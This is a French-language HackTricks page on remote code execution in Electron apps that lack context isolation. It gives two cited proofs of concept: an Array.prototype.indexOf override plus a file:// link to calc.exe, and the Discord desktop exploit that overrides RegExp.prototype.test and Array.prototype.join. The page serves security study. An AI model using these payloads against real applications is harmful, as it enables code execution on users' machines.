mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 09:03:30 +00:00
108 lines
7 KiB
Markdown
108 lines
7 KiB
Markdown
# Electron contextIsolation RCE via preload code
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
|
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
## Exemple 1
|
|
|
|
Exemple de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
|
|
|
|
Ce code ouvre des liens http(s) avec le navigateur par défaut :
|
|
|
|
![](<../../../.gitbook/assets/image (375) (1) (1).png>)
|
|
|
|
Quelque chose comme `file:///C:/Windows/systemd32/calc.exe` pourrait être utilisé pour exécuter une calculatrice, mais `SAFE_PROTOCOLS.indexOf` l'en empêche.
|
|
|
|
Par conséquent, un attaquant pourrait injecter ce code JS via la XSS ou la navigation de page arbitraire :
|
|
```html
|
|
<script>
|
|
Array.prototype.indexOf = function(){
|
|
return 1337;
|
|
}
|
|
</script>
|
|
```
|
|
Comme l'appel à `SAFE_PROTOCOLS.indexOf` renverra toujours 1337, l'attaquant peut contourner la protection et exécuter la calculatrice. Exploit final:
|
|
```html
|
|
<script>
|
|
Array.prototype.indexOf = function(){
|
|
return 1337;
|
|
}
|
|
</script>
|
|
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
|
|
```
|
|
Vérifiez les diapositives originales pour d'autres façons d'exécuter des programmes sans avoir une invite demandant des autorisations.
|
|
|
|
Apparemment, une autre façon de charger et d'exécuter du code est d'accéder à quelque chose comme `file://127.0.0.1/electron/rce.jar`.
|
|
|
|
## Exemple 2: RCE de l'application Discord
|
|
|
|
Exemple de [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
|
|
|
|
En vérifiant les scripts de préchargement, j'ai découvert que Discord expose la fonction, qui permet à certains modules autorisés d'être appelés via `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, dans la page web.\
|
|
Ici, je n'ai pas pu utiliser des modules qui peuvent être utilisés pour RCE directement, tels que le module _child\_process_, mais j'ai **trouvé un code où RCE peut être réalisé en remplaçant les méthodes intégrées JavaScript** et en interférant avec l'exécution du module exposé.
|
|
|
|
Voici le PoC. J'ai pu confirmer que l'application **calc** est **affichée** lorsque j'appelle la fonction `getGPUDriverVersions`, qui est définie dans le module appelé "_discord\_utils_" depuis devTools, tout en **remplaçant `RegExp.prototype.test` et `Array.prototype.join`**.
|
|
```javascript
|
|
RegExp.prototype.test=function(){
|
|
return false;
|
|
}
|
|
Array.prototype.join=function(){
|
|
return "calc";
|
|
}
|
|
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
|
|
```
|
|
La fonction `getGPUDriverVersions` tente d'exécuter le programme en utilisant la bibliothèque "_execa_", comme suit :
|
|
```javascript
|
|
module.exports.getGPUDriverVersions = async () => {
|
|
if (process.platform !== 'win32') {
|
|
return {};
|
|
}
|
|
|
|
const result = {};
|
|
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
|
|
|
|
try {
|
|
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
|
|
} catch (e) {
|
|
result.nvidia = {error: e.toString()};
|
|
}
|
|
|
|
return result;
|
|
};
|
|
```
|
|
En général, _execa_ essaie d'exécuter "_nvidia-smi.exe_", qui est spécifié dans la variable `nvidiaSmiPath`, cependant, en raison de la substitution de `RegExp.prototype.test` et `Array.prototype.join`, **l'argument est remplacé par "**_**calc**_**" dans le traitement interne de \_execa**\_**.
|
|
|
|
Plus précisément, l'argument est remplacé en modifiant les deux parties suivantes.
|
|
|
|
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
|
|
|
|
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
|
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|